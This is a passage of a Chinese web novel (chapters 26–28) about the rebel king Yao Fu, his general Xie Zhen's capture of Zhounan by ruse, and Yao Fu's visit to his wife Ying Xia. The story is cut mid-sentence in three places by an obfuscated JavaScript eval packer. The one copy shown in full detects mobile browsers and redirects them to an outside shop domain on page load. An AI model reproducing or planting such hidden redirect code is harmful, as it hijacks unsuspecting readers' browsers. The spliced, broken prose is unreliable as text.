次日新涂就骑着战马带人出发了,赣州一直被屈郢放着,又被鄂州隔绝,成了朝廷的飞地,这个月竟悄无声息长出来个小势力,貌似是一对兄弟,号称“大小天王”,本先是赣州山匪,一直流窜在各地躲避官兵追杀,从姚复称了王才渐渐壮大起来。 说实话这两个人顶多算个小喽啰,让新涂去打真是屈才,可谁让韩玉笙不听指挥抢着去了巴州呢。 应瑕面无表情地站在马车上,进车之前最后回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不不不……”姚复连忙穿好衣服下床,“你回去继续站岗吧,我去看看。” 卫士称一声是,旋即起身退下了。穿袜子还是太麻烦,姚复干脆草草踢了鞋跑出去了,到了营门口,确实见着姚老头盘腿坐在那闭目养神,姚大和姚二拖家带口的,几个人抱在一起睡的正酣。 除了姚家一家子,姚复竟还意外见到了几个熟悉的身影——披着斗篷看月亮的桥虹夫妻、给解斛珠暖手的解臻、正在用力摇着什么东西的司空谷。 “不是……你们?”姚复瞠目结舌地看着这一大帮子人,“我家人在这儿就算了,你们怎么也来凑热闹?!” 姚老头听见姚复的声音,猛然睁开眼睛,笑呵呵地说:“小子,上个月要不是那个你年前捡到那个四皇子,你老子早就交代在那儿了……” 姚复上前一步,把老爹扶起来,一边责难:“那你们怎么搞的,一个多月了才跑到这儿来。还有你们认识吗就混在一起……” “呵呵……”姚老头借着力站起来,“我和你哥拿了不少钱,从信阳抄了个近路,谁知道那边在打仗,困了十来天,前些日子到了汉昌,那城里却空空的,只说你去了长沙……彼时我们手里的银钱已经不多了,正愁着怎么南下呢,碰见了那个小子——” 姚老头伸手指向司空谷:“他倒是玄乎,掐指一算就说你马上到常陵。” 司空谷的手不知道什么时候停了下来,几枚铜钱噼里啪啦掉在地上。姚复学过一点六爻,一眼看出来卦象——大凶。 “行了行了,先进来吧。”姚复腹诽两句,最终送了口,叫卫士把两个兄弟叫醒进门。 “这两年你怎么弄的跟街上的半仙一样……”姚复忍不住问姚老头。 与离别时意气风发的老人不同,现在姚老头真是整个人干瘪了不少,背也弯了,还弄了个沙哑的老烟嗓,头发也掉了不少,根本就束不起来。若不是父子之间那点血缘羁绊造成的直觉,姚复都不敢保证能不能认出来他。 “你一走我便生了场大病,来来回回养了一年多,好了就成这样了。”姚老头有些尴尬地挠挠头,“为了这个,你三哥还跑到赣州经商去了。对了,你那个老婆哩,来给爹看看?” 姚复翻了个大白眼:“打发到赣州了。” 26. 第26章 姚老头自知失言,笑了笑便不再说话了。见着自己最疼爱的幼子,有百般话语堵在胸口,可最终什么也说不出来,只能一边笑着一边用已经昏花的老眼打量揣度儿子过的好不好。 姚复叫炊兵重新起了灶,做了些饭菜,好宴请远道而来的朋友们—— 只是司空谷实在败兴地很,在烛火的照耀下姚复才看清了他手里拿着只龟甲,吃饭之前摇了几次,三枚铜钱卦象各有千秋,龟壳的主人却不厌其烦地解释:“大凶,出师必不利,你要是想及时止损就马上回鄂州。” “你这人真是败兴。”姚复皱着眉对司空谷说,一边给怀孕的张娘子夹了块鱼肉,“一个个都说出师不利,孤倒要看看怎么个不利法。” 他特意咬重了那个“孤”字,《礼记》说:“小国之君曰孤。”姚复也算是小小以势压人了一把。 饭桌上的气氛冷了一瞬,接着解臻放下筷子,笑着对司空谷说:“若我带兵呢?主簿要不给我也算一卦。” 司空谷把铜钱放回去,摇晃一阵之后,铜钱噼里啪啦落在桌上。 “小凶。出师前利而后失,成果要丢掉十之二三。” 姚复撑着脑袋,忽而问:“你还会带兵?” 解臻笑了笑,没说话。姚复放下手里的杯子,站起身来,说道:“左右明天都是要打仗的,小解你先打头阵看看。时候不早了,大家吃完早点休息。” 说着他便回去睡觉了。桥虹说过希望给某个起义的头领做军师,既然他出现在这儿,剩下两人来做什么也就不言而喻了。总归不会是逃难的。 第二日早上,姚复给解臻批了五千人,让他打头阵冲锋去,好打探敌人消息,再叫斥候递情报回来,姚复好带兵支援。 但解臻带了人一去半日都没回来,属实叫人有些坐不住。 “不会是全军覆没了吧?”过了午时,姚复越发着急,不住的在营中踱步。 桥虹啃着一只鸡腿,艰难地咽下最后一口肉,才说道:“你别急嘛,先吃饭啊。” 姚复走上前去,猛然一拍桌子,桥虹面前的碗碟震了一震,人也吓了一跳,只见齐王满脸愠怒地质问:“吃饭?!我怎么吃的下去!” 桥虹一口口水卡在嗓子眼,整张脸憋的通红,嘴里的食物咽也不是,不咽也不是,欲找他人求助,周围还没旁的人,张娘子见不得兵戈,待在自己的帐里看书,司空谷则是说要去长沙看他师父,一早便出发了。 “我就说解臻年轻不顶……”姚复屈起食指敲着小案,一边抒发自己心里的不满。 可话还没说一半,就被人打断了。 斥候急急闯进来,拖着长音喊道:“报——” 姚复站直身子,心中半带期待半带忐忑地走过去问那斥候:“什么事?” 斥候站起身子,双臂抱拳,头半垂着,恭敬地回答:“解将军已经攻破了周南城!现在请您入城巡视!” 桥虹终于咽下了嘴里的食物,又草草扒了几口桌上剩的,才优雅矜持地拿帕子擦擦唇角,站起身来:“我就说,你别着急嘛。” 解臻只带了五千人,也不知道怎么攻克的—— “解臻怎么攻下的?!”姚复抓着斥候的胳膊,颇为着急地问。 当时汉昌没有守军,朝廷的援军也过不来,四千人攻下也算是极限。可周南是个大城市,城内守军过万,又靠近军事重地雒邑,五千人拿下实在太夸张。 斥候低着头,恭敬回答:“解将军出了奇兵。” 解臻离开时叫甲士每人带了一套破衣服,带着人走到半路,让五百兵士脱下了甲胄,换成粗布麻衣,佯装成逃难的灾民混进了城中,剩下的四千五百人则在城外二里开外驻扎等候。周南府的知府今日也在招兵买马,似乎也想要自立门户,近来要进城的灾民体格健壮的留,体弱多病的则禁止入城。每日进城的灾民也只有寥寥千人。 解臻清楚他的心思,进城之前就给五百分好了任务,进城之后,大部分人在城里装作漫无目的地游荡,实则到处查探地形,几十人人则去摸清楚城中兵营、粮仓所在,剩下的人装作解臻的私兵,跟着解臻去“投奔”知府。 “大人,外头有人来自荐,说愿意做您的幕僚。他还带了有一百多人,说是他的私兵。”府役见着解臻和他背后的乌压压一片人,马上进去给知府汇报了。 他平日里色厉内荏,见着这么些人,冲过来能活活碾死他,怎么着也不敢对前头那看着白白净净的年轻人动官威。 留着山羊胡的知府从小榻上坐起来,笑眯眯地说:“哎哟,可有人愿意来自荐了,这人看着怎么样啊?” “看着像个文弱书生。长的是丰神俊朗,像是个可用之才。” 知府摸摸胡子,笑着站起身:“我去会会他。” 说着他便走向了门口,解臻站在那儿确实惹眼,知府也是第一眼就确定了此人是个可用之才。 他拎着衣服下摆,端庄优雅地小步走过去,上下端详了解臻两眼,方才捋着胡子问:“你小子,看着就是奇货可居!不妨说说,你会做什么?” 解臻抬起眼,看向知府,心下先是唾弃了他一番,脸上还是挂起一副微笑来,只说:“我从启封逃来周南,路上遇见一个算命的,他说我有将兵之才。” 知府后退一步,再度打量解臻两眼,随后心之所想便浮现在脸上,露出鄙夷的神情,嘴上也是嘲弄地问:“你还上场打仗?你杀过人吗?” 对此,解臻只是微微一笑,随后说:“大人不妨凑近些,我再告诉你。” 知府也笑起来,站到了离解臻只有一臂左右的前方,正要再次发话,却见解臻袖间寒光一闪,直直朝着他袭来,知府的大脑瞬时一片空白,几乎无法思考,等到一阵后知后觉的痛苦从腰部传遍全身、暗沉的红花绽放在官袍上,他才意识到解臻手里拿的什么—— 一把匕首。 一把匕首不至于立即要了他的命,解臻仍是微笑着,说:“你看,我现在不就杀人了?” 知府尖叫着后退,大声喊:“杀人了,杀人了啊!快来人啊!” 解臻掏了掏耳朵。 知府的尖叫声没叫来他的私兵,反而引过来许多看热闹的民众,解臻带的甲士不多时也聚集了大半,有人奉命买了烟花,听到尖叫声就放了出来,城外的四千多人也迅速向周南逼近准备从外面攻城,城里的守军马上被引了过去。 这下更没人管知府的死活了。 两个士兵上前一步,死死按住知府。解臻晃了晃手里的匕首,蹲下身子,把尚且带着血珠的刀刃架在知府脖子上,说道:“兵符交出来。” 知府往后一缩脖子,刀刃也随着他的动作更进一寸,冷冰冰的钢铁紧紧贴着皮肉,划开了一条浅红色的线。 “我说,我说。我在柜子上放了三个花瓶,最南边花瓶底下有个暗格,底下抽屉的旋钮,左一圈右三圈就开了,兵符就在那里面。” 知府连口水都不敢吞咽,生怕喉结滚动碰到刀子,只好卯着气一股脑全说完。 “去搜。”解臻没有放开他的意思,只是命令了几个人进去搜。 知府打算再求求情,可解臻却是再度笑起来,自顾自说道:“你跟齐王求情或许有用……你说一说自己有多苦,说不定他就把你放了。可惜今天在这里的是我,我第一个杀掉的人是我父亲——” “我不吃求情这一套。” 不多时,兵符被拿了出来,解臻仍保持着半蹲着的姿势,匕首仍架在知府脖子上,只是一只手伸出来,兵士会意,把兵符放在他手上。 解臻翻着兵符看了两眼,确定这东西是真的不是什么赝品,便利落抹了知府的脖子,拿着兵符往城外去了。 独留一具尸体躺在地上,血溅五步。 四千甲士一开始象征性砸了城门之后,就又扎在原地不动了。城里守军见着情况也不敢轻举妄动,生怕对方忽然冒出什么前狼假寐的招数来。 两方军士就这么无声对峙着,拿眼神打仗。 解臻找到了临时管城内守军的统领,这人身高足有九尺,长的也是虎背熊腰,一双豹眼,满脸络腮胡子,看着就叫人止不住生畏。 他见来人是个生面孔,看起来还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好了,不跟你贫了。”姚复坐直身子,从怀里拿出一盒胭脂抛给解臻,“斛珠都十七八了,这盒胭脂权当礼物。等咱回了长沙,定要给你封坛拜将。” 解臻笑了笑,把胭脂收进袖子里,说道:“承蒙大王厚爱了。不过小妹应当用不着胭脂,用敌人的鲜血上妆正足够。” 姚复一口酒差点没喷出来,卡在嗓子眼把自己呛个半死,瞬时剧烈咳嗽起来,解臻吓了一跳,又不知如何是好,只得捏着酒杯坐立难安。姚复好不容易捋顺气息,难以置信地抬头问解臻:“你说什么?你打算让解斛珠带兵打仗?真的假的?!” “真的。”解臻苦笑一下,垂下睫毛看向杯中酒液,“这是她自己选的路。再者……女子若没有武艺傍身,实在很难立足。” 姚复拿帕子擦擦身上的酒,点了点头:“你说的没错。这年头女子要是没点本事,根本活不下去。” 许多人家都是把女儿和别人换换,或者把妻子卖出去换钱。许多中年妇女走在街上都能被劫走,更遑论年轻女子了。启封、汉昌、长沙尚不明显,可这种事姚复在武陵见过不下三次。 “好了,你带着人休整一下,咱们隔几天,直接去打雒邑。”姚复站起身子,掀开帷幔,自顾自离开了。 说实话他现在有点后悔把应瑕支走了。每每看见桥虹挽着张娘子出去散步姚复心里就一阵不舒服。倒不是说想要个孩子之类的,主要是这两个人站在一起就觉得碍眼。 嗯……孩子也不知道什么时候才有了,就是说现在这个时候,一个娇嫩柔弱离不开人时不时就会哭的婴儿绝对是个累赘。 再者姚复一想到应瑕抱孩子就止不住打寒战,那画面根本想象不出来。 就算有孩子,估计也得姚复自己带。 皇帝不知道抽了什么疯,忽然撤走了驻守启封的兵力,要全天下搜集姚家人的踪迹——他似乎笃定姚老头没跑出自己的手掌心。要不是姚复的岳父应家老早跑到了阖闾城,他也不至于鞭长莫及。 可屈郢那边还在打启封呢,他撤掉兵力跟割地让人没什么区别。 楚王不到三日就进了城,据说也在满城搜集一个人—— 不过没找到,于是他又撤出了启封,放了一把火,烧了整个启封城,城里近十万人葬身火海,其中就包括表叔一家。 “我之前劝过他们跟我一起跑的,怎么就不听劝呢?”姚老头得到悲讯后,这半生头一次在小儿子面前落了泪。 27. 第27章 姚复对表叔一家没什么感情——他们两家平日里走动不多,况且姚复起兵归根结底还是拜他所赐。但到底还是一家人,姚复心中只是升起一种荒谬的感伤,五味杂陈。要说他们死在城中也算是天意,常家仗着一个芝麻大小的官职在城中作威作福,也算是还了业报。 听说表叔的儿子在任时还杀过不少人,不过他从前是在江州任职的,姚复并不了解他的功绩。 可怒火是压不住的啊。承载着二十年回忆的桑梓之地一把火烧了个干净,十万无辜生魂游荡在这片焦土上——怎能不怒不恨? “打完雒邑,就去打启封。”姚复开口说道,不觉嗓音已然嘶哑暗沉。 解臻善出奇兵,桥虹善出奇谋,这二人凑在一块儿去打仗本来就无解,而雒邑作为陪都,有重兵把守,不出奇几乎无法制胜,让这两人去打雒邑是正正好好。至于启封……姚复自然要亲自踏进这片废土。 姚复将事情定了下来,隔了约莫半个月,马上就要进入冬月,周南的天上开始飘零零落落的雪花,解臻和桥虹便拔了营北上打雒邑了。 雒邑不好攻克,花费的时间少说也得两三个月,恰巧屈郢打下启封之后便调军去了齐州,姚复便趁着机会带着自己那一大家子先回了长沙。 其实只有姚老头和姚复的哥嫂回了长沙。 姚复的脚在自己家停了还不到一刻,便又牵了马,随意找了辆马车,拉着应瑕的两个陪嫁丫鬟一路往赣州去了。 原本读李义山时绝不懂他的诗句,总觉得是他无病呻吟,有时甚至还能有意无意地向老师说出两句嘲讽的话出来。如今和应瑕相隔千里,不过一月不见,竟然就对那句“刘郎已恨蓬山远”多出来些别样的感悟。 不过话说回来,不喜欢李义山的诗难道和李商隐有关系吗! 分明前几个月在武陵时,泡在军营里两个月不见应瑕,也不曾如此抓心挠肝啊。 倒真像了那刘郎与仙女,相隔九重,瑶池再难觅。 打下一块地盘和打下一座城池还是有所不同的,新涂这边传来的消息是这一个月以来只打下六城六十六县——赣州共有十一城一百二十四县。这个效率可以了,赣州多山,地形本就不利,还有两个地头蛇,难度多大可想而知。 新涂似乎很喜欢新渝府,没将军营扎在更为富庶的洪州府,反而将籍籍无名、地盘又小的新渝做了据点。 新渝也有好处,譬如离长沙比较近。要是新涂真把营扎到洪州,姚复渡河翻山都得走三天,见到应瑕都得猴年马月。 姚复走到地方的时候已经是更深露重了,只有寥寥几个营帐还亮着火光。姚复将马匹拴在干军营门口处,翻身牵了马往里走。在军营里泡的两个月还是奏效的,门口的卫士见着是齐王,先是微微愣了一下,随后就让开了身子,放姚复进了门。 第一个亮灯的营帐是新涂的主营,姚复站在门口低低喊了一声,里头影影绰绰的人影动了一下,掀开帘子的却是一个十八九的女子,长的和应瑕有六七分相似,也是秋娘眉瑞凤眼,唇角却天生往上勾起,含着三分笑意,有一种花非花雾非雾的朦胧之感,一股子说不出的活泼机灵劲。 小姑娘见着姚复,眼中透出两分惊奇,很快又归于平静,随后嘴角弯的更重,笑着朝里喊:“新将军,有客人来啦!” 这女子身材和应瑕不同。应瑕身材高挑,能比肩大多男子,这女孩却是娇小玲珑,依偎在别人怀中或是恰好。 姚复从她头顶看见新涂坐起身子套了件外袍,胸口往下几乎都缠着绷带。 新涂草草起来,一眼见着姚复,竟是露出了毫不遮掩的惊诧。他下意识把女子拽开挡在身后,往前一步挡在门口,方才与姚复寒暄起来:“哟,这都冬月了,你在长沙咋样啊?” 看这样子应该没往定州跑。新涂默默想。 “害。”姚复哂笑一声,“还好吧,就是那什么,我怕双福跟着你行军受苦,她一个女子……” 新涂背后那女孩突然探出头来,一双明眸转了一圈,有些惊喜地说:“双福?你就是姐夫、齐王啊?” 姚复瞪大眼睛,连着后退两步,指着应琼,支支吾吾地几乎一句完整的话都说不出来:“你你你……” “大王你别急啊,我知道这很难接受。”新涂咽了口口水,抓住姚复伸出来的胳膊,“应琼,小字赤玉,夫人的妹妹。” 应琼冲着他吐了吐舌头。 “不是,”姚复艰难地接受了事实,站直身子,心有余悸地拍拍胸口,“她……罢了,不是说在阖闾城吗?” 应琼除了脸长的像应瑕,身材性格都和应瑕不沾边啊,甚至和有过一面之缘的应瑜也不怎么相似。她走失的时候是十二三岁,短短几年能把一个姑娘变成这种活泼性子?受了挫折一般都是往阴郁了走,可这张脸又不像是养女。如果是养女,应摇光又何必大费周章地去找。 “那都什么时候的事了,姐夫。”应琼笑着反驳,“我上次听说你,你还是个县丞呢,现在怎么成齐王啦?” 姚复扫眼瞪了应琼一下,问新涂:“不跟你俩嘴贫了,给我找个空帐子……” 应琼忽然从新涂背后挤出来,信手指向另一盏亮着的营帐,笑说:“阿姊可还没睡呢,你要想她尽管去找呗。” “谁想她了!”姚复脸上染上一抹红晕,所幸灯光也是昏黄的,这两人也看不见才是。 “嗳,姐夫,你是不是脸红了?”应琼忽然眯起眼睛,凑上前去笑问,“话说你们成婚快三年了吧?我听说你也是个浪荡的主,那什么时候给我添个小外……” 新涂忽然捂住她的嘴,硬是拖回了屋内:“好了好了,大王的私事咱们别再过问了。大王,趁着夫人还没睡下,你快去看看她吧。” “真是的你们俩。”姚复嘟囔了一声,从袖子里掏出一个小瓷瓶丢给新涂,“韩夫人配的伤药,你往身上抹抹吧。还有,咱们既以兄弟相称,你也不必像外人一样……多生疏。” “是,是……”新涂笑着接过药瓶子,一手捂着应琼半张脸,迫使她整个人只好随着新涂的手臂动作摇晃,两只眼睛透着十分绝望。 见着姚复掀开应瑕的营帐进去,新涂才叹了口气松开应琼的脸:“姑奶奶,可改改这话篓子的毛病吧,可别哪天说了不该说的话。” 应琼翻了个白眼,新涂扭头一看,才见着她雪白的小脸上赫然多了几道掌纹,活似挨了打。新涂登时急了眼,马上放下帘子把她拉进屋里上药去了——明天要是让应瑕见到,他不死也得脱层皮。 应瑕坐在一豆烛光下,她什么也没做,只是静静坐着,一双眼睛直直望着烛架竿子上的阴影——为了防止失火,这烛架比平常的高好多,因而那长长的腿上有一段照不到光亮,隐没在阴影里。 姚复掀开门帘,维持着屈膝半蹲的姿势,看着灯前的应瑕出了神。她就像是一幅泛黄的美人图画。一袭白衣,半张美人面,就构成了所有美丽传说中的仙女。 “进来吧。”应瑕转过身子,拍了拍自己的被窝。 姚复恍然回神,小心翼翼地进了屋子。应瑕此时褪去了平日里那身狠厉决绝威严凌厉的气质,反而显得眉眼恬淡了不少。 “你来做什么?”应瑕的脸在灯光下,半明半暗。 姚复跪坐在她床前,闻言挑眉轻问:“我就不能只来看看你?” “哼。”应瑕冷笑一声,“无事不登三宝殿。你这是从定州回来了没死找我邀功?” “我没去定州!”姚复几乎是下意识地嘴硬,第一时间试图瞒住应瑕。 他的反应也是挺真实的,从表情到衣着都无可挑剔,就连略快的心跳频率都能归为被误解后的急切—— 应瑕半垂下眼睑,又抬起眼睛定定看着姚复:“好好,没去最好。所以你来到底什么事?” “唉就没什么事,我也不是专程来找你的……” 姚复说 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应瑕决定先不与姚复计较偷偷去定州打周南,还扯谎来骗她的事,毕竟晓得准备礼物,也算是朽木可雕了。 “好了,我听说屈郢放火烧了启封城——父亲他们怎么样?”应瑕把胭脂藏进被窝,换了个话题。 “前些日子在章陵碰见他们了。”姚复一拍脑袋,“我忘了,赣州消息不通达,皇帝前些日子不知道疯什么,竟然在舍命追杀我爹他们,害的他们背井离乡,也算因祸得福了。这破事传到章陵都要十天半个月,定州也算是一日不如一日了。” 应瑕坐直身子,往里挪了挪,给姚复让出一点位置,垂着眸子说:“那你……讲讲这个月的事吧。” 姚复受宠若惊,应瑕从前对这些事没什么兴趣,今日竟是心血来潮,不过他并未多虑,便开始絮絮叨叨的讲起来,讲去常陵游玩时如何遇到了姚老头和司空谷他们,讲解臻上兵伐谋不费一兵一卒拿下某处土匪作乱,讲司空谷去长沙爬山见他师父至今未归疑似已经跑路了,又讲张娘子怀了孩子云云。 “咦,你说他们的孩子生下来,与我们的孩子定个娃娃亲如何?”姚复早缩进了被窝,趴在枕头上问应瑕。 应瑕躺在枕头上望着尖尖的营帐顶部,有些无奈地说:“不太好。要生孩子也得等你称帝,现在这个情况,小孩就是累赘。” “嘿,那句诗叫什么来着,身无彩凤双飞翼,心有灵犀一点通。跟我想一块去了。”姚复笑着打趣。 应瑕什么话也说不出来,眼皮动了动,翻身过去背对着姚复。跟他想一块去绝对不是什么好事——至少在定州的事情上,比起两个人心有灵犀,应瑕只希望姚复能乖乖跟着她的步子走。 虽然这样显得她控制欲太强。 “你明天跟我回长沙吧。”姚复忽然说,启封城全权交给桥虹和解臻也不失为良策。 应瑕攥紧被子,复而松开,才长长呼出一口气:“罢了。你先行回去吧,新涂的计策不如韩玉笙,我还是得督军。那什么大小天王真是难缠的紧……” 姚复不说话了。其实应瑕拒绝了也好,偷偷打仗这种事还是瞒着她更为稳妥。 迄今为止没见过应瑕发火,但直觉告诉他惹应瑕生气没什么好果子吃。 还有那个应琼……真是奇怪啊,可是是哪里奇怪呢? 姚复想不太明白,应瑕的态度很奇怪,应琼也很奇怪,这两个人都有一种极其别扭的感觉,她们不像是至亲姐妹。 这些复杂的东西真是让人睡意横生。应瑕耳边不多时就传来了均匀的呼吸声,随后她也闭上眼睛,将意识沉入一片纯白的天地。 姚复要去打定州,必然是要出事的,她必须要早作打算,寻个故人帮姚复一把,叫他好歹不至于殒命于故土。 大家都想落叶归根,可是桑梓地又不是埋骨地,启封埋了十万人,不能再往下埋了。 28. 第28章 姚复还是推了打启封的行程,决定陪着应瑕在新渝玩了十几天——反正雒邑没那么好打,就算出奇制胜也得费一两个月,姚复也没闲到天天去督军,这么长时间还不如陪着应瑕。等时间差不多了再回去也不迟。 新涂伤还没好一半就拿着戈矛偷偷跑到洪州了——他消失的时候整个军营的人慌了两天,大家都觉得新将军是一直没被拜将心生不满跑了。然后就传来了新涂带着驻扎在洪州的五万精兵东进的消息。 姚复一听说这事气的差点没背过去,却又无能为力。 “他伤好了吗就打仗!”姚复在营帐里来回踱步,气急败坏地对应瑕说,“还不如跑了呢!他去投奔屈郢都比带着伤打仗好!” 应琼坐在一边哭的稀里哗啦的,口中语无伦次地说着什么“都是我的错”“不该去赣州”一类的乱七八糟的话,实在吵的人心烦,姚复又不好对着女人发作,只能继续踱步。也不知道应琼和新涂什么时候怎么搞在一起的,难不成真是新涂说的那什么拍马疾驰救下应小姐又一见钟情再见倾心三见定终身?真是老套又荒唐的故事。 “出了事算谁的这!”姚复一甩袖子,反过来继续踱步。 应瑕揉着眉心,长长叹了口气:“应当不会有事。” 姚复忽然停下脚步,随后重重跺脚,按着应瑕的肩膀嘱咐道:“这样,你安抚好妹妹,我马上带兵去把他追回来。” 应瑕皱起眉头,沉默了一会儿,随后点头同意了:“行,那你要小心点,别受了伤。” 随后她走到了应琼身边坐下,似乎刚想起自己还有个妹妹,轻轻拍着她的背安抚着,脸上却还带着方才皱眉的表情,也没说出一句话,仿佛……她只是奉命行事。应琼见她过来,稍微停了一下,随后扑进了应瑕怀里。 “你们多保重,我尽快回来。”姚复掀开帘子的一角,对着屋里两个女人嘱咐,随后便头也不回地出去了。 姚复的目标不是去打仗,是把新涂追回来,便只带了五十人,先去了洪州府,问清楚了新涂往哪去了,结果到了地方却发现人已经拔营走了,只好再问当地军营新涂的动向,拿到一个新地址,到地方又是雪泥鸿爪。 两人你追他逃跑了两个月,应瑕送的书信压根追不上阵地的转换速度。 兜兜转转竟然又回了洪州——这两个月来姚复实在烦不胜烦,也不知道新涂带着五万人怎么整的,在赣州行军有如神速,愣是没被抓住。 难道他在和那什么大小天王玩追逐战吗?! 姚复瞥了一眼洪州府城门上的牌匾,吐了一口气,带着同样奔波劳累的五十人回了新渝。 方才进了军营大门,就见着两个陌生面孔齐刷刷跪在面前,貌似是一对双胞胎,齐刷刷露着膀子背着藤条,看着三十来岁的样子,一模一样的吊梢眼,一模一样的大长脸,一模一样的小胡子。 “双福——”姚复揉揉眉心,大声喊应瑕。 应瑕手里捏着一只鸡腿,马上从一边的营帐里钻出来,见着他时翻了个白眼:“没有你这两个月过的真快。” “什么?你不该度日如年吗——这俩人犯什么事了?还整负荆请罪这一套。”姚复用眼神指了指那两人,问应瑕。 “那你得问新涂。”应瑕咬了一口鸡腿,“大小天王,叫什么来着……反正新涂带回来的。他比你早三天回营。” 左边那个一听到自己的名号,马上抬起头来喊:“大天王,李义杉!” 右边那个立时应起来:“小天王,李义海!” “大小天王,排山倒海!诛邪铲佞,山海能平!”两人又齐声喊。 姚复眉头一跳,指着那大天王说:“你这名字不好,改了。以后叫李义江好了。反正别叫李义山。就你这样的还碰瓷李商隐呢。” 那两人顿时蔫了。 又问应瑕:“他们一直这样?” 应瑕无奈地点点头。 “有病。”姚复满脸嫌弃地看着那两人,不动声色地离远了一点,“这两个货色怎么把新涂耍猴一样耍了一圈的?” “都说了土匪头子。”应瑕随手丢掉剩下的鸡骨头,立马跑来一条小白狗,伏在她脚下啃起骨头来,“做土匪定然很会洗脑下属的吧。” 狗是应琼养的狗。应瑕说她在外边野生久了,看什么都像是被遗弃的——尽管她自己根本不是被遗弃的——然后就什么都往回捡。应瑕已经偷偷往外送了五条狗八只猫,埋了十几只死掉的鸟,扔了三条看着就有毒的蛇。说来也奇怪,这些动物一见到应瑕就会吓得瑟瑟发抖,从而被轻而易举地逮住。 应琼知道应瑕不想让她在军营里养动物,也知道应瑕有给那些小动物找下家,但就是控制不住自己往回捡的手。而这条狗是唯一一只不怕应瑕的,应琼便死乞白赖求着应瑕给留下了。 姚复撇撇嘴,不予置评。 现在都开春了,解臻他们两个再怎么墨迹也不至于到现在都打不下来一座城池——何况新涂只用了三个月就活捉了这劳什子大小天王,打下了整个赣州。 “这两个人……”姚复指指地上的大小天王,“你们自己处置吧。我得马上回长沙去了。” 应瑕点点头,未作他言,只是随意将手上的油脂抹在了衣服上——这衣服横竖也该洗了。 “我留在赣州看看情况,你和新涂先回去好了。”应瑕用鞋尖把往自己脚上贴的小毛团子踢开了一点,往营里去了,小狗也跟着她颠颠进去了,不多时又被扔了出来。应瑕的声线再度传出来:“你不准进。” 那小狗登时坐在门口委屈的呜呜叫唤。 姚复失笑,上前把那小东西抱起来,对着营帐说:“这狗不错,我带走了啊。” 应瑕在营帐里,拿着一封信件,抿了抿唇,没说话。这才刚回来就要走,不知道的还以为他赶着投胎呢。 营帐外的马蹄声渐渐远去。 姚复没回长沙,直接去了周南。 出来迎接的是桥虹。 他正巧钻出营帐来,见着他甚至笑了一声:“大王这些日子也不知道上哪快活了!眼见着雒邑都要拿下来两个月了,你再不回来,庆功宴都要开第三轮,将士们都要撺掇我们去打启封了!” 姚复翻身下马,一听说这两人连庆功宴都办了两轮,不禁有些懊悔没早点回来,非要放心不下新涂——他摇头无奈笑笑,又抬起眼睛,调笑着回桥虹:“赣州出了点小事。你给我仔细说说,庆功宴是怎么个事?敢不等我回来就开庆功宴,你俩也是活腻歪了。” 桥虹脸上的笑意僵了一瞬,随后又很好地掩埋起来:“专等着您回来开第三次庆功宴呢。我们略施小计,花了一个半月拿下了雒邑。” “行。解臻现在在雒邑?”姚复在营里四处看了看,也没急着问桥虹用的什么计策——管他什么呢,能打胜仗就行。 “哦,解将军确实在雒邑。最近屈郢又有新动作,他守城呢。”桥虹随口应答,“现在是解姑娘在管周南的驻军。” 张娘子被送回了长沙,解臻守城用不着桥虹在旁边出谋划策,他便回了周南一边教解斛珠领兵,一边管着周南内政。没办法,现在人手还是不够,做不到每城都有专人管着。 姚复若有所思地点点头。他这两个月光顾着去追新涂了,跟着他在赣州转了几圈,什么军情捷报都没怎么留意。 “行,我现在去雒邑。你给司空谷递个信,让他重新划分区治派人管理,并叫新涂休整之后增援巴州。至于陈重熙——也去巴州。”姚复拉了拉马缰,把只顾垂着头吃草的马儿拽起来,又向桥虹要了一碗水,润了润喉便再度上了马。 韩玉笙只顾着一头莽着去打仗,压根不会守城,常常是顾头不顾腚,拿下十城能丢掉俩。 桥虹看着他风尘仆仆的背影,深深叹了口气。 尽管姚复已经展现出了治理天下的才能,可他还是太过年轻、行事毛躁。也不知在启封能不能吃点苦头长长记性。 三个月前启封是一片焦土,现在春雪消融,生机勃发,启封也正是百废待兴的时候。现在城里正是兵力匮乏的时候,要是再晚一步,屈郢忽然杀了回马枪或是朝廷的援军到了,那就不好打了。 姚复匆匆点了兵,正打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14354288|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算与守军打仗,不料城中百姓有眼尖的见着旌旗上的大字,马上开了城门迎了军队进来。这一茬姚复也没想到,不过到底是好的,没有增加伤亡。 解臻发现姚复偷偷带了人进了启封时已经过了三天,可他也无暇去管姚复——现在北边那个魏王和西边的朝廷两面夹击雒邑,他两面对敌也只能算是勉勉强强,却全无别的精力去管姚复干什么。 他也管不着,但他心里门清——打到启封定然要出事的。于是只好派人送了信,说雒邑情况如何如何危机,请大王回来一同守备。 姚复收到信也确实有回去的意思,但是他并不着急,反而是趁着衣锦还乡的兴致在故里玩了几天,等要拔营时已经晚了——因为屈郢真杀了个回马枪。 据说还是亲征来着。 得到斥候的消息时姚复忽然感到头皮一炸,也许是身体的本能反应罢。屈郢此人虽然是个莽夫,也真不是浪得虚名。他实在骁勇善战,据说到现在未尝过败绩,手下的士卒更是能以一敌十。除了放火烧了启封城,据说他还在齐州南部的一个小城坑杀了十万人,其中还多是老弱妇孺,壮丁全被抓去充了军。 这还是他手底下没有谋士呢,要是有一个中用的,还不知道他能狂成什么样。 